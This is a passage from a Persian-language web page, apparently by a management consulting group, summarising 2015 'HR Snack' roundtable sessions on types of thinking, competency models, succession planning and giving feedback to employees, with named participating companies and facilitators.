  • دسته‌بندی موضوعی: بر اساس یک موضوع‌های خاص به عنوان مثال در منابع انسانی تئوری‌های موضوع ارزیابی عملکرد، تئوری‌های موضوع یادگیری و آموزش و …
  • دسته‌بندی بر اساس تفکرهای مختلف: شناخت فصل مشترک تفکرهای مختلف، برای مثال تئوری‌های کارکردگرا و …
  • دسته‌بندی بر اساس فلسفه

با توجه به مهم بودن درک بهتر از دسته‌بندی بر اساس نوع تفکر، این موضوع را بیش‌تر باز می‌کنیم. تفکر به دو دسته‌ی تخصصی و عمومی تقسیم می‌شود. تفکرهای تخصصی در یک علم خاص در خصوص یک رشته صحبت می‌کنند اما تفکرهای عمومی مربوط به هیچ علم خاصی نیستند اما تمام علوم می‌توانند از آنها استفاده کنند.

در خصوص تفکرهای عمومی، می‌توان سه ویژگی زیر را برشمرد:

  1. خاص هیچ علمی نیستند
  2. جایگزین هیچ علمی نیستند
  3. با همه‌ی علوم قابل ترکیب هستند

انواع تفکرات عمومی عبارتند از:

نوع تفکر عمومی محور اصل نتیجه
1.    تفکر سیستمی کل‌نگری اصل هماهنگی هماهنگی، انسجام و وحدت
2.    تفکر اقتضایی جامعه‌نگری اصل سازگاری تناسب
3.    تفکر استراتژیک آینده‌نگری اصل هم‌افزایی هم‌افزایی

کسانی که راه‌کار می‌دهند باید دو ویژگی داشته باشند:

  1. عالم باشند: یعنی بر سه سطح تئوری، الگو و راهکار تسلط داشته باشند.
  2. سه اصل هماهنگی (تفکر سیستمی)، سازگاری (تفکر اقتضایی) و هم‌افزایی (تفکر استراتژیک)

راه‌کار خود به دو سطح تقسیم می‌شود:

  1. سطح استراتژیک (اثربخشی): در این سطح فقط مسیر مشخص می‌شود و مقدار و مدت گفته نمی‌شود، به عنوان مثال راهکار جذب نخبگان.
  2. سطح عملیاتی (کارایی): در این سطح مقدار و مدت گفته می‌شود، به عنوان مثال ۵ نفر با مدرک لیسانس در ۶ ماه آینده جذب شوند.Shapes

در هر موضوعی، برای ارائه‌ی راهکار باید به هر دو سو نگاه کرد. سطح استراتژیک درست یا غلط بودن را نشان می‌دهد و همیشه ناظر بر اثربخشی است. سطح عملیاتی همیشه ناظر بر کارایی است. این نکته باید مدنظر قرار گرفته شود که همیشه رسیدن به هدف نسبت به کارایی اولیت دارد.

اسنک منابع انسانی ۱۶ مهر ۱۳۹۴

HRSnack03-Pic1

موضوع: مدل شایستگی
مزایا: مدل شایستگی در صورت طراحی و پیاده‌سازی صحیح می‌تواند به سازمان در یافتن کارکنان مناسب و نگهداری از استعدادهای خود کمک کند، باعث بهبود عملکرد افراد و در نهایت سازمان شود. به دلیل اینکه تمامی سازمان‌ها به دنبال کسب موارد ذکر شده هستند، استفاده از مدل شایستگی یکی از مهم‌ترین اهداف استراتژیک سازمان‌ها می‌باشد.
تسهیلگر: گروه مشاوره مدیریت خلاق
HRSnack03-Pic2
خلاصه‌ی جلسه:
این جلسه با حضور همکاران از شرکت‌های رهنما، هلدینگ دنیلی، مجتمع تجاری پالادیوم، دیجی‌کالا، مادر تخصصی سرمایه‌گذاری سینا، فرابورس ایران و کارگزاری آینده‌نگر خوارزمی و با تسهیلگری گروه مشاوره مدیریت خلاق برگزار شد.
ترکیبی از مهارت‌ها، دانش، منش رفتارهایی را ناشی می‌شوند که قابل مشاهده و اندازه‌گیری هستند.  طبق تعریف آرمسترانگ این رفتارها خصوصیات پایه‌ای درون یک فرد هستند که بخشی از شخصیت وی را تشکیل می‌دهند و به آن شایستگی می‌گوییم.
یکی از سوالات مطرح شده در جلسه این بود که آیا چیزهایی مانند ارزش‌ها را می‌توان درون مدل شایستگی قرار داد؟
در ادامه مطرح شد که Core Competencyها یک سری شایستگی‌های کلان برای سازمان هستند که باید در راستای استراتژی و فرهنگ سازمان تعریف شوند. ممکن است سازمانی استراتژی مدون نداشته باشد اما هدف سازمان مشخص است و می‌توان با استفاده از آن چشم‌اندازی برای منابع انسانی استخراج کرد.
برای طراحی یک مدل شایستگی استفاده از دیکشنری‌های شایستگی نظیر دیکشنری شایستگی هاروارد می‌تواند مفید باشد. مدل شایستگی می‌تواند در سه لایه تعریف شود:

  1. سازمان
  2. گروه شغلی
  3. شغل

اگر مدل شایستگی فقط به طور عمومی تعریف شود و برای سطوح مختلف نباشد نمی‌تواند فایده‌ی چندانی داشته باشد.
مسئله‌ی دیگری که مطرح شد این است که نمی‌توان از یک فرد انتظار داشت تمام شایستگی‌ها را با هم داشته باشد. مثلا برخی شایستگی‌ها ممکن است با هم مغایرت‌هایی داشته باشند، نظیر سرعت عمل و دقت در کار.
در ادامه در خصوص Layered Competency Model یا Leveled Competency Modelها صحبت شد مه باید هر شایستگی برای هر سطح تعریف شود و هر سطح مولفه‌های رفتاری خاص خود را داشته باشد.
قسمت بعدی بحث در خصوص موارد استفاده از مدل شایستگی بود. طبق نظر آرمسترانگ از مدل شایستگی:

  • ۸۵٪ در جذب
  • ۸۲٪ در آموزش
  • ۷۶٪ در مدیریت عملکرد
  • ۳۰٪ در پاداش

استفاده می‌شود. طبق مباحث مطرح شده در جلسات قبل نیز این نتیجه به دست آمد که ارزیابی عملکرد باید به آموزش مربوط شود و نه به پرداخت. یکی از نکاتی که در بحث در خصوص پرداخت‌ها مطرح شد این بود که پاداش نباید برای رفتارهای درون شغلی نظیر سر وقت حاضر بودن که وظیفه‌ی فرد است، پرداخت شود بلکه برای رفتارهای برون شغلی باشند.

HRSnack03-Pic3
سپس روش‌های اصلی ساخت مدل شایستگی مطرح شدند:

  1. روش پیمایشی: با استفاده از پرسشنامه، مصاحبه و استفاده از نظر خبرگان. از نقاط ضعف این روش وقت‌گیر بودن آن و احتمال سنجیدن شرایط موجود و نه شرایط ایده‌آل می‌باشد.
  2. استفاده از ابزار TriMetrix
  3. استفاده از بهینه‌کاوی (‌Benchmarking): نقطه ضعف این روش این است که ممکن است مدل به دست آمده خاص سازمان ما نباشد.

بهترین مدل شایستگی مدلی است که در راستای فرهنگ و استراتژی سازمان ما باشد. استفاده از روش بهینه‌کاوی این خطر را در پی دارد که سازمان بدون توجه به شرایط محیطی خود از شایستگی‌هایی را تعریف کند که عملا بدون کاربرد باشند.
مسئله‌ی دیگری که باید در هنگام تعریف مدل شایستگی مد نظر قرار داد انگیزش می‌باشد. بر اساس تعریف هاروارد از مدل شایستگی، عوامل انگیزشی درون شغلی نیز باید در مدل شایستگی مد نظر قرار گیرند. مدل شایستگی باید نشان دهد با انجام آن شغل چه نیازهای درونی فرد مثل يادگیری پاسخ داده می‌شوند.

اسنک منابع انسانی ۱۹ شهریور ۱۳۹۴

HRSnack02-Pic4

موضوع: جانشین‌پروری
مزایا: جانشین پرورى یکى از مهم ترین وظایف مدیران در سازمان‌ها است. بدون یک برنامه ى مناسب جانشین‌پرورى
سازما‌ن‌ها آمادگى پر کردن پست‌هاى خالى که به دلیل بازنشستگى یا جدا شدن افراد از سازمان به وجود مى‌آیند را نخواهند داشت و همچنین نمى‌توانند در هنگام گسترش فعالیت‌ها و حجم سازمان، نیاز به رهبرى درون سازمان را برطرف کنند.
تسهیلگر: دکتر عباس غفاری

HRSnack02-Pic5

خلاصه‌ی مسائل مطرح شده:
این جلسه با حضور همکارانی از شرکت‌های مپنا، کوبل دارو، هلدینگ دنیلی، موننکو، همراه اول، بانک سامان، همکاران سیستم، طبیعت زنده سینره ،مبین‌نت، هوایار، سیمان سپاهان و روژین دارو با حضور دکتر غفاری از شرکت کیسون برگزار شد.
دکتر غفاری در ابتدا به معرفی کلی جانشین‌پروری پرداختند و در ادامه به طرح مسائل عملی که باید در هنگام اجرای برنامه در نظر گرفته شود، پرداختند. نکاتی که در این جلسه مطرح شدند، به شرح زیر هستند:

  • سازمان برای اجرای برنامه‌ی جانشین‌پروری حتماً نیاز به مدل شایستگی دارد. دکتر غفاری مدل شایستگی را به دو نوع سازمانی و شغلی تقسیم کردند و ذکر کردند که می‌توان از Benchmarkاستفاده کرد اما اگر مدل شایستگی مخصوص خود سازمان باشد بهتر است.
  • دکتر غفاری تاکید کردند که نتیجه‌ی جانشین‌پروری به توسعه مرتبط باشد نه پرداخت.
  • اجرای برنامه‌ی جانشین‌پروری نیاز به حمایت کامل مدیر ارشد سازمان دارد. در صورت عدم حمایت مدیر ارشد از این برنامه، امکان موفقیت در آن وجود ندارد.
  • انتخاب روش شناسایی جانشین‌ها بسیار با اهمیت است. برای شناسایی این افراد می‌توان از پیشنهاد مدیران استفاده کرد اما این روش نیاز به بررسی بیشتر افراد دارد. همچنین می‌توان از نتایج ارزیابی عملکرد افراد نیز استفاده کرد.
  • برنامه‌ی جانشین‌پروری باید طوری اجرا شود که توقع افراد نسبت به موقعیت خود و دیگران به درستی مدیریت شود. همچنین این مسئله را باید در نظر داشت که ممکن است نگاه و رفتار دیگران نسبت به افرادی که به عنوان جانشین انتخاب می‌شوند تغییر کند و باعث بروز مشکلاتی برای سازمان شود.
  • تمام افراد درگیر در اجرای این برنامه باید ضرورت به اتمام رساندن پروژه را بدانند و در نیمه‌ی راه رها نشود.
  • روش معرفی جانشینان و ارائه‌ی برنامه می‌تواند در واکنش افراد و پذیرش جانشینان توسط دیگران بسیار اثرگذار است.

در پایان دکتر غفاری در خصوص برنامه‌ی جانشین‌پروری شرکت کیسون صحبت کردند که در اجرای آن از کانون ارزیابی استفاده شده بود.

HRSnack02-Pic2

اسنک منابع انسانی ۵ شهریور ۱۳۹۴

موضوع: ارائه‌ی بازخور
مزایا: بازخور ابزار مهمی برای مدیران است، زیرا می‌توانند با استفاده از آن رفتارهای مناسب را شکل دهند و به توانمندسازی و یادگیری مسائلی که عملکرد کارکنان را بهبود می‌دهد، کمک کند. بازخور برای افرادی که آن را دریافت میکند، فرصتی برای توسعه‌ی و پیشرفت شغلی فراهم می‌کند.
تسهیل‌گر: دکتر بابک علوی

IMG_20150827_114535

خلاصه‌ی مسائل مطرح شده:

بانک گردشگری، آقای دکتر شکری و جناب آقای نقره: یکی از مسائلی که توسط همکاران بانک گردشگری مطرح شد، وضعیتی بود که به مدیر فردی است که از هم تیمی های خود به سمت مدیریت رسیده‌است. در این شرایط ارائه‌ی بازخور به این همکاران دیروزی که برخی ممکن است دارای سابقه‌ی کار بیش از فرد مذکور باشند، بسیار پیچیده خواهد بود و ممکن است باعث ایجاد ناراحتی یا عدم قبول بازخور از طرف شنونده شود. همچنین در مورد سیستم بازخور دوره‌ای طراحی شده در واحد منابع انسانی و نحوه‌ی ارائه‌ی بازخور به مدیران صحبت کردند.
از نکات جالب دیگری که مطرح شد، نحوه‌ی ساختاردهی به بازخور بود. در صورتی که بازخوردهنده بتواند شنونده را آگاه کند که قصد وی توسعه‌ی آن فرد است و نه تخریب او میزان پذیرش بازخورگیرنده افزایش می‌یابد. همچنین بیان غیرمستقیم برخی موارد منفی، بازخور می‌تواند بسیار موثرتر باشد.

IMG_20150827_114548

همراه اول، جناب آقای سجاسی: یکی از تجربیات مطرح شده توسط همکار همراه اولی ما اقدام برخی مدیران در خصوص تنبیه یا تشویق افراد بدون ارائه‌ی دلیل یا بازخور به آنها بوده است که باعث سردرگمی، شکه شدن و نارضایتی می‌شود. همچنین تجربه‌ی جلسات بازخور عمومی هم مطرح شد که برخی موارد باعث تخریب افراد می‌شود و تاثیرات مفید آن کمتر دیده شده است.

رهنما، جناب آقای شهرمیانی: همکار ما از شرکت رهنما بحث عدم دریافت بازخور از کارکنان را مطرح کردند. در شرایطی نظیر ترک خدمت کارکنان، اگر فضایی وجود داشت که فرد مورد نظر مسئله‌ی موجود را قبل از اقدام برای ترک سازمان مطرح می‌کرد به احتمال زیاد امکان حل آن مسئله و حفظ نیروی مذکور وجود داشت.

مپنا، جناب آقای کوچه‌مشکی: همکار ما از شرکت مپنا در مورد نگاه این شرکت به استراتژی منابع انسانی و مدیریت عملکرد در آن صحبت نمودند.

همکارن سیستم، آقای دکتر حسنی: همکار ما از شرکت همکاران سیستم در خصوص ارائه‌ی بازخور به مدیریت ارشد و فواید آن صحبت کردند و یکی از تجربیات شخصی خود در این زمینه مطرح کردند.

لوردگان، جناب آقای بخارایی: همکار ما از شرکت لوردگان در خصوص تجربه‌ی شخصی خود در بازخوردهی صحبت کردند. تجربه‌ی ایشان بیشتر در ارائه‌ی بازخور بود و نکته‌ی مطرح شده عدم قضاوت و پیش‌داوری از افراد در هنگام دادن بازخور بود. پیش‌داوری ممکن اثر بسیار بدی بر فرایند بازخور داشته باشد.

بازرگانی تایم، جناب آقای وزیریان: همکار ما از شرکت بازرگانی تایم اهمیت نیت در ارائه‌ی بازخور را مطرح کردند. نباید فرد بازخور دهنده با نیت و هدف تخریب طرف مقابل وارد این فرایند شود، در غیر این صورت بازخور اثر مثبت خود را از دست خواهد داد.

آقای دکتر علوی: آقای دکتر علوی در جمع‌بندی موارد را این‌گونه دسته‌بندی کردند:
۱. بازخور باید به صورت مستمر باشد و لزومی ندارد تنها به صورت رسمی صورت بگیرد
۲. اصالت بازخور باید در نظر گرفته شود و بازخور دهندگان به صورت واقعی و با احساس واقعی به بیان بازخور بپردازند. به عبارتی بازخور مکانیکی تاثیری ندارد.
۳. همان طور که بازخور منفی نیاز به اطلاعات و اسناد دارد بازخور مثبت نیز نیاز به مستندات دارد
۴. در بازخور بهتر است از شیوه مربی‌گری غیر مستقیم استفاده شود
۵. فرهنگ سازمانی امری پویا و طولانی است اما نباید از آن ترسید و یا تمام مسائل را به گردن فرهنگ انداخت. هر تغییری می‌تواند از یک جای کوچک شروع شود و به بقیه سازمان بسط داده‌ شود.
۶. کسی که مدیر می‌شود باید تا حدی آمادگی این سمت را داشته باشد تا بتواند علایق فردی خود را از کار جدا کرده و بدون غضب بازخور دهد.

آقای دکتر اعرابی: جناب آقای دکتر اعرابی در خصوص استراتژی منابع انسانی در دنیا و خصوصا تغییرات مدیریت منابع انسانی در کشورهای توسعه‌یافته صحبت کردند. ایشان اشاره کردند که محور اصلی حوزه منابع انسانی در کشورهای پیشرفته مدیریت عملکرد است و براساس این فرایند بقیه فرایندهای منابع انسانی همگن و هم راستا می‌شوند.

IMG_20150827_123857